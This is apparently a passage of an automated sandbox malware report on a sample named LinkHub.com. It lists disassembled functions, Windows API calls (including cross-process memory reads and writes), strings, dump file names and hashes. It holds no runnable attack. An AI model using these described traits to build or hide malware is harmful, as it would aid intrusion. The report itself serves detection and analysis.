                                                                            • CloseHandle.KERNEL32(?,?,?,?,00E40B24,?,00E43D41,?,00000001,00E13AF4,?), ref: 00E40CFF
                                                                            • CloseHandle.KERNEL32(?,?,?,?,00E40B24,?,00E43D41,?,00000001,00E13AF4,?), ref: 00E40D0C
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseHandle
                                                                            • String ID:
                                                                            • API String ID: 2962429428-0
                                                                            • Opcode ID: 19ff181d1adf231d1a61949d91a73b33e04c3fe8b723dd847e00591e40b282bf
                                                                            • Instruction ID: 96547dfebb64a73de8b69c3f2a7f06fe4db96cc52534700322f15706e9e7ce10
                                                                            • Opcode Fuzzy Hash: 19ff181d1adf231d1a61949d91a73b33e04c3fe8b723dd847e00591e40b282bf
                                                                            • Instruction Fuzzy Hash: BD01AE71800B15DFCB30AFA6E980816FBF9BF503193159A3ED29662931C7B0A948DF80
                                                                            Function 00E365AB Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00E365BF
                                                                            • GetWindowTextW.USER32(00000000,?,00000100), ref: 00E365D6
                                                                            • MessageBeep.USER32(00000000), ref: 00E365EE
                                                                            • KillTimer.USER32(?,0000040A), ref: 00E3660A
                                                                            • EndDialog.USER32(?,00000001), ref: 00E36624
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                            • String ID:
                                                                            • API String ID: 3741023627-0
                                                                            • Opcode ID: d325db63862c85fea29b38413f83e245e042158b59b7f3fc7f8784b0e1e7fb77
                                                                            • Instruction ID: b419716c8f3dfcd58ebf608fe08ac69851ea37812755f43e4a2c3e56ed93f6d9
                                                                            • Opcode Fuzzy Hash: d325db63862c85fea29b38413f83e245e042158b59b7f3fc7f8784b0e1e7fb77
                                                                            • Instruction Fuzzy Hash: 2A016230A04704BBEB215B21ED4EB9B7B78FF04749F404569E186710E1DBE0AA58CA50
                                                                            Function 00E0DABA Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _free.LIBCMT ref: 00E0DAD2
                                                                              • Part of subcall function 00E02D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00E0DB51,?,00000000,?,00000000,?,00E0DB78,?,00000007,?,?,00E0DF75,?), ref: 00E02D4E
                                                                              • Part of subcall function 00E02D38: GetLastError.KERNEL32(?,?,00E0DB51,?,00000000,?,00000000,?,00E0DB78,?,00000007,?,?,00E0DF75,?,?), ref: 00E02D60
                                                                            • _free.LIBCMT ref: 00E0DAE4
                                                                            • _free.LIBCMT ref: 00E0DAF6
                                                                            • _free.LIBCMT ref: 00E0DB08
                                                                            • _free.LIBCMT ref: 00E0DB1A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                            • String ID:
                                                                            • API String ID: 776569668-0
                                                                            • Opcode ID: 1d90c5d11febbe977b8258f5740c30c907046c86995801dcf45e25f332dbdf98
                                                                            • Instruction ID: d2c55d8374d4221a77caebede417ad36f834edef90e6fb85fb04a7685ac1c3c8
                                                                            • Opcode Fuzzy Hash: 1d90c5d11febbe977b8258f5740c30c907046c86995801dcf45e25f332dbdf98
                                                                            • Instruction Fuzzy Hash: 49F0FF3254C214ABC624EB99ED85D1A77EDAF447147956C0AF149F7581CA30FCC08B94
                                                                            Function 00E02610 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _free.LIBCMT ref: 00E0262E
                                                                              • Part of subcall function 00E02D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00E0DB51,?,00000000,?,00000000,?,00E0DB78,?,00000007,?,?,00E0DF75,?), ref: 00E02D4E
                                                                              • Part of subcall function 00E02D38: GetLastError.KERNEL32(?,?,00E0DB51,?,00000000,?,00000000,?,00E0DB78,?,00000007,?,?,00E0DF75,?,?), ref: 00E02D60
                                                                            • _free.LIBCMT ref: 00E02640
                                                                            • _free.LIBCMT ref: 00E02653
                                                                            • _free.LIBCMT ref: 00E02664
                                                                            • _free.LIBCMT ref: 00E02675
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                            • String ID:
                                                                            • API String ID: 776569668-0
                                                                            • Opcode ID: e1f6bd540c34e5284e4564b584e80f3d209e31975a5f4d8db3be6b74d72216ea
                                                                            • Instruction ID: aa680c08af19e199d099a5b518baea7b48aea854f28a74f3355002424fc451ce
                                                                            • Opcode Fuzzy Hash: e1f6bd540c34e5284e4564b584e80f3d209e31975a5f4d8db3be6b74d72216ea
                                                                            • Instruction Fuzzy Hash: 73F017749191208FCA12AF6AFC059483AE8BB2A750300994FF610B23F5C7312D99BEE4
                                                                            Function 00E012B7 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: __freea$_free
                                                                            • String ID: a/p$am/pm
                                                                            • API String ID: 3432400110-3206640213
                                                                            • Opcode ID: 9e066484478b8dde893d3640c360e566ab7aa268c691d6c2ecc5609c7664727d
                                                                            • Instruction ID: e7b4b5b7ed39f7e0c3dde00c04639e33715c6f74235b6d58fd4eb59622673e4f
                                                                            • Opcode Fuzzy Hash: 9e066484478b8dde893d3640c360e566ab7aa268c691d6c2ecc5609c7664727d
                                                                            • Instruction Fuzzy Hash: 86D1E171900206DACB259FA8C8557FAB7B1FF15308F28619AE506BF2D0D7369DC0CBA1
                                                                            Function 00E55231 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 315COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E441FA: GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00E552EE,?,?,00000035,?), ref: 00E44229
                                                                              • Part of subcall function 00E441FA: FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00E552EE,?,?,00000035,?), ref: 00E44239
                                                                            • GetLastError.KERNEL32(?,00000000,?,?,00000035,?), ref: 00E55419
                                                                            • VariantInit.OLEAUT32(?), ref: 00E5550E
                                                                            • VariantClear.OLEAUT32(?), ref: 00E555CD
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorLastVariant$ClearFormatInitMessage
                                                                            • String ID: bn
                                                                            • API String ID: 2854431205-2317007323
                                                                            • Opcode ID: 1f8cbb4091043b9a1801c48ba04fe43b2659ff5183607718351a5cddc5b40fad
                                                                            • Instruction ID: d5960f663d0df4aa6b68472d5670e79a1356686f20e8be238ec9631696e024ca
                                                                            • Opcode Fuzzy Hash: 1f8cbb4091043b9a1801c48ba04fe43b2659ff5183607718351a5cddc5b40fad
                                                                            • Instruction Fuzzy Hash: 65D16E71900249DFCB14EF95C8A1AEEBBB4FF08314F54445EE416AB291DB71E98ACF60
                                                                            Function 00DDCF80 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __Init_thread_footer.LIBCMT ref: 00DDD253
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Init_thread_footer
                                                                            • String ID: t5$t5$t5
                                                                            • API String ID: 1385522511-3228143211
                                                                            • Opcode ID: 0af5a16d07f56637b72ad40260dbc8e5cb12cdb48e2c2c17f4db69d88b9e48d4
                                                                            • Instruction ID: 106dae02c74fb74ab1daec91369194b8ce4a00a86fa9e125a60d22c24e999b1d
                                                                            • Opcode Fuzzy Hash: 0af5a16d07f56637b72ad40260dbc8e5cb12cdb48e2c2c17f4db69d88b9e48d4
                                                                            • Instruction Fuzzy Hash: F2913D75A00206DFCF14CF69C4916B9BBF2FF99314F24855AE985AB341D731E982CBA0
                                                                            Function 00E561A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 125COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: BuffCharUpper_wcslen
                                                                            • String ID: CALLARGARRAY$bn
                                                                            • API String ID: 157775604-1875210186
                                                                            • Opcode ID: c6173352c0b42b0fc11d304ad5049b49d8c761a8cc44ccac86a75c7fd2c825f4
                                                                            • Instruction ID: 9cb4f683656f1ca28bf2450c29624423337db3973ec689e30a0afb8ac2f14299
                                                                            • Opcode Fuzzy Hash: c6173352c0b42b0fc11d304ad5049b49d8c761a8cc44ccac86a75c7fd2c825f4
                                                                            • Instruction Fuzzy Hash: 6041B175E002099FCB00DFA5C8859EEBBF5FF58365F505419E806B7261D7709D86CB60
                                                                            Function 00E33063 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E3BDCA: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00E32B1D,?,?,00000034,00000800,?,00000034), ref: 00E3BDF4
                                                                            • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00E330AD
                                                                              • Part of subcall function 00E3BD95: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00E32B4C,?,?,00000800,?,00001073,00000000,?,?), ref: 00E3BDBF
                                                                              • Part of subcall function 00E3BCF1: GetWindowThreadProcessId.USER32(?,?), ref: 00E3BD1C
                                                                              • Part of subcall function 00E3BCF1: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00E32AE1,00000034,?,?,00001004,00000000,00000000), ref: 00E3BD2C
                                                                              • Part of subcall function 00E3BCF1: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00E32AE1,00000034,?,?,00001004,00000000,00000000), ref: 00E3BD42
                                                                            • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00E3311A
                                                                            • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00E33167
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                                            • String ID: @
                                                                            • API String ID: 4150878124-2766056989
                                                                            • Opcode ID: bafb872b7156741aea98336a005760084f65197741c48f69a18203403e12e974
                                                                            • Instruction ID: ba3a8a84d983e4831bb0d03c8328257127dcc8af6032cbe761cd87eb1b572bf5
                                                                            • Opcode Fuzzy Hash: bafb872b7156741aea98336a005760084f65197741c48f69a18203403e12e974
                                                                            • Instruction Fuzzy Hash: A6412C76A01218BEDB11DFA4CD85EEEBBB8EF45704F005095FA45B7180DA706F85CB61
                                                                            Function 00E01A9E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com,00000104), ref: 00E01AD9
                                                                            • _free.LIBCMT ref: 00E01BA4
                                                                            • _free.LIBCMT ref: 00E01BAE
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free$FileModuleName
                                                                            • String ID: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com
                                                                            • API String ID: 2506810119-1604394757
                                                                            • Opcode ID: 58de7f4324f89f63d05a1c48b18eacb9dea6a607e82cbf6291cf1578df8a1f85
                                                                            • Instruction ID: 541d5eb19244f4630febe1bfb40e4c63bcb10c4fc08d1d5f2126b808885a27df
                                                                            • Opcode Fuzzy Hash: 58de7f4324f89f63d05a1c48b18eacb9dea6a607e82cbf6291cf1578df8a1f85
                                                                            • Instruction Fuzzy Hash: AC315271A00218EFCB21DF99DC85D9EBBFCEB85714B1051AAE504BB261E7705E84DBA0
                                                                            Function 00E3CB28 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00E3CBB1
                                                                            • DeleteMenu.USER32(?,00000007,00000000), ref: 00E3CBF7
                                                                            • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00EA29C0,019953E0), ref: 00E3CC40
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$Delete$InfoItem
                                                                            • String ID: 0
                                                                            • API String ID: 135850232-4108050209
                                                                            • Opcode ID: d1fe0bd430969c8167867409dd1c45d1474fea539d1ec29dfff63410ee25f68d
                                                                            • Instruction ID: bbcded98ca9b9a7a39c16ae71c7000bb7a76d809e09f101f42e5cf0d24497747
                                                                            • Opcode Fuzzy Hash: d1fe0bd430969c8167867409dd1c45d1474fea539d1ec29dfff63410ee25f68d
                                                                            • Instruction Fuzzy Hash: 6841A2312043019FD720DF24D889B6ABBE4EF84714F245A1DF565B7291D770E904CB62
                                                                            Function 00E64EB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00E6DCD0,00000000,?,?,?,?), ref: 00E64F48
                                                                            • GetWindowLongW.USER32 ref: 00E64F65
                                                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E64F75
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Long
                                                                            • String ID: SysTreeView32
                                                                            • API String ID: 847901565-1698111956
                                                                            • Opcode ID: 8945f150b9e6c5d84b69ed7ca28183ffd162e177906493850ba6911a9a4448ad
                                                                            • Instruction ID: 32cb96fad31a699aa5a992df1e567bea5f054be1d6bc710658b1a749a1b8b567
                                                                            • Opcode Fuzzy Hash: 8945f150b9e6c5d84b69ed7ca28183ffd162e177906493850ba6911a9a4448ad
                                                                            • Instruction Fuzzy Hash: E531AF71654205AFDB218E38EC45BDB77A9EB083B8F206715F975B21E0C770EC509B60
                                                                            Function 00E53AAB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E53DB8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00E53AD4,?,?), ref: 00E53DD5
                                                                            • inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00E53AD7
                                                                            • _wcslen.LIBCMT ref: 00E53AF8
                                                                            • htons.WSOCK32(00000000,?,?,00000000), ref: 00E53B63
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ByteCharMultiWide_wcslenhtonsinet_addr
                                                                            • String ID: 255.255.255.255
                                                                            • API String ID: 946324512-2422070025
                                                                            • Opcode ID: 752bffa37f5f1a357541d6f245bb271b37fabb2d26ca9655d3282d41fc41ca73
                                                                            • Instruction ID: 41ba63be6fa7956ac6e598745b7c3879dc0f6b8c6c89ea6f4b43f4b574d40f1a
                                                                            • Opcode Fuzzy Hash: 752bffa37f5f1a357541d6f245bb271b37fabb2d26ca9655d3282d41fc41ca73
                                                                            • Instruction Fuzzy Hash: 2F31F5356002019FCB60CF79C485EAAB7F1EF14399F249559EC16AB392C731EE49C760
                                                                            Function 00E64954 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00E649DC
                                                                            • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00E649F0
                                                                            • SendMessageW.USER32(?,00001002,00000000,?), ref: 00E64A14
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Window
                                                                            • String ID: SysMonthCal32
                                                                            • API String ID: 2326795674-1439706946
                                                                            • Opcode ID: f64d2a991fca8b7f714f7310c0f52919d506f3b5831ebaf7d8727bc8bc3fcd41
                                                                            • Instruction ID: 880a749226b2e41109c4525fa5ce1015ee7f2f47444f822aa773e8caf2b1e83d
                                                                            • Opcode Fuzzy Hash: f64d2a991fca8b7f714f7310c0f52919d506f3b5831ebaf7d8727bc8bc3fcd41
                                                                            • Instruction Fuzzy Hash: 7521DD72680219BBDF118E90DC42FEB3BA9EF88768F111214FA057B0D0D6B1E855DBA0
                                                                            Function 00E650F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00E651A3
                                                                            • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00E651B1
                                                                            • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00E651B8
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$DestroyWindow
                                                                            • String ID: msctls_updown32
                                                                            • API String ID: 4014797782-2298589950
